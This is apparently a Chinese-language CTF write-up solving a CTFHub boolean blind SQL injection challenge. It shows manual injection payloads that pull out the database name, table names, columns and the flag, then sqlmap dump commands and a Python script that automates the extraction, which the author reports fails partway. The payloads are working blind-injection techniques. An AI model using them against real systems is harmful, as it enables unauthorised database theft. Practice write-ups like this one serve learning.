文章目錄
-
- 手工注入
- sqlmap注入
- 使用腳本
- 總結
手工注入
1. 題目直接說明了是布爾注盲注,來簡單驗證一下
![](https://img.laitimes.com/img/9ZDMuAjOiMmIsIjOiQnIsICM38FdsYkRGZkRG9lcvx2bjxiNx8VZ6l2cs0TPB90dJRkTxkEVOBDOsJGcohVYsR2MMBjVtJWd0ckW65UbM5WOHJWa5kHT20ESjBjUIF2X0hXZ0xCMx81dvRWYoNHLrdEZwZ1Rh5WNXp1bwNjW1ZUba9VZwlHdssmch1mclRXY39CXldWYtlWPzNXZj9mcw1ycz9WL49zZwpmLyUTO3ADM0kDMyIzNwAjMwIzLc52YucWbp5GZzNmLn9Gbi1yZtl2Lc9CX6MHc0RHaiojIsJye.jpg)
2. 既然如此,那麼構造SQL語句,得到資料庫長度
3. 資料庫名稱的長度為4,然後可以猜解出資料庫的名稱
得知目前資料庫的第一個字母是s
然後依次得到資料庫的第2個字母到第4個字母
最後對照ASCII表
得到目前資料庫名稱為sqli
4. 得到資料庫中表的數量
前面隻是示範如何得到資料庫的名稱
其實後面可以直接用database()來代替sqli
1 and (select count(table_name) from information_schema.tables
where table_schema=database())=2
可以得知表的數量為2
5. 第一張表的名稱
1 and ascii(substr((select table_name from information_schema.tables
where table_schema=database() limit 0,1),1,1))>110
(不斷改變範圍,把第一張資料表的第一個字母猜解出來)
1 and ascii(substr((select table_name from information_schema.tables
where table_schema=database() limit 0,1),2,1))>110
(不斷改變範圍,把第一張資料表的第二個字母猜解出來)
1 and ascii(substr((select table_name from information_schema.tables
where table_schema=database() limit 0,1),3,1))>110
(不斷改變範圍,把第一張資料表的第三個字母猜解出來)
......
......
最後得到表名為news
6. 第二張表的名稱
1 and ascii(substr((select table_name from information_schema.tables
where table_schema=database() limit 1,1),1,1))>110
(不斷改變範圍,把第二張資料表的第一個字母猜解出來)
1 and ascii(substr((select table_name from information_schema.tables
where table_schema=database() limit 1,1),2,1))>110
(不斷改變範圍,把第二張資料表的第二個字母猜解出來)
1 and ascii(substr((select table_name from information_schema.tables
where table_schema=database() limit 1,1),3,1))>110
(不斷改變範圍,把第二張資料表的第三個字母猜解出來)
......
......
最後得到表名為flag
7. 那麼flag必然在flag表裡,開始猜解flag表的字段數
1 and (select count(column_name) from information_schema.columns
where table_name='flag')=1
得到flag隻有一個字段
8. 字段名稱
1 and ascii(substr((select column_name from information_schema.columns
where table_name='flag'),1,1))>110
(不斷改變範圍,把字段名猜解出來)
......
得到字段名也為flag
9. 猜解flag
其實字段名沒什麼用,因為題目并不會傳回具體資訊,隻會傳回查詢成功和查詢失敗
具體的flag還得一個個字母去猜解,太麻煩了
1 and ascii(substr((select * from sqli.flag where id=1),1,1))>110
1 and ascii(substr((select * from sqli.flag where id=1),2,1))>110
1 and ascii(substr((select * from sqli.flag where id=1),3,1))>110
......
這是一個巨大的工作量,是以應該積累到的一個經驗是:
手工盲注特别繁瑣,碰到這類題目要會用工具sqlmap
sqlmap注入
我是在Kali Linux裡面執行的
Windows如何安裝使用SQLMap見:
https://blog.csdn.net/weixin_45254208/article/details/104697014
1. 資料庫名稱
Kali:
sqlmap -u "http://challenge-c0ce9610cb3e7401.sandbox.
ctfhub.com:10080/?id=1" --dbs
Windows:
python sqlmap.py -u "http://challenge-ba06d4afa77b9bd9.sandbox.
ctfhub.com:10080/?id=1" --dbs
注意二者差別,後面以Kali為例,不再贅述
2. 資料表名稱
sqlmap -u "http://challenge-c0ce9610cb3e7401.sandbox.
ctfhub.com:10080/?id=1" -D sqli --tables
3. 字段,flag
sqlmap -u "http://challenge-c0ce9610cb3e7401.sandbox.
ctfhub.com:10080/?id=1" -D sqli -T flag --columns --dump
使用腳本
#! /usr/bin/env python
# _*_ coding:utf-8 _*_
import requests
import time
# 這裡的位址要換成自己的環境
urlOPEN = 'http://challenge-7e982e4f68b3651d.sandbox.ctfhub.com:10080/?id='
starOperatorTime = []
mark = 'query_success'
def database_name():
name = ''
for j in range(1, 9):
for i in 'sqcwertyuioplkjhgfdazxvbnm':
url = urlOPEN + 'if(substr(database(),%d,1)="%s",1,(select table_name from information_schema.tables))' % (
j, i)
# print(url+'%23')
r = requests.get(url)
if mark in r.text:
name = name + i
print(name)
break
print('database_name:', name)
database_name()
def table_name():
list = []
for k in range(0, 4):
name = ''
for j in range(1, 9):
for i in 'sqcwertyuioplkjhgfdazxvbnm':
url = urlOPEN + 'if(substr((select table_name from information_schema.tables where table_schema=database() limit %d,1),%d,1)="%s",1,(select table_name from information_schema.tables))' % (
k, j, i)
# print(url+'%23')
r = requests.get(url)
if mark in r.text:
name = name + i
break
list.append(name)
print('table_name:', list)
# start = time.time()
table_name()
# stop = time.time()
# starOperatorTime.append(stop-start)
# print("所用的平均時間: " + str(sum(starOperatorTime)/100))
def column_name():
list = []
for k in range(0, 3): # 判斷表裡最多有4個字段
name = ''
for j in range(1, 9): # 判斷一個 字段名最多有9個字元組成
for i in 'sqcwertyuioplkjhgfdazxvbnm':
url = urlOPEN + 'if(substr((select column_name from information_schema.columns where table_name="flag"and table_schema= database() limit %d,1),%d,1)="%s",1,(select table_name from information_schema.tables))' % (
k, j, i)
r = requests.get(url)
if mark in r.text:
name = name + i
break
list.append(name)
print('column_name:', list)
column_name()
def get_data():
name = ''
for j in range(1, 50): # 判斷一個值最多有51個字元組成
for i in range(48, 126):
url = urlOPEN + 'if(ascii(substr((select flag from flag),%d,1))=%d,1,(select table_name from information_schema.tables))' % (
j, i)
r = requests.get(url)
if mark in r.text:
name = name + chr(i)
print(name)
break
print('value:', name)
get_data()
為什麼我的腳本跑完之後,隻出來了資料庫名,其他的報錯了呢?
在Kali上運作了一下,也是報了這個錯,嫖過來的腳本應該是不會有問題的,難道CTFHub後來加了反爬機制嗎?痛苦啊,哪位大佬路過的時候幫我瞧瞧吧,感謝
總結
開始的時候使用手工注入,旨在了解原理
掌握了以後,去熟悉工具的使用,目的是提高效率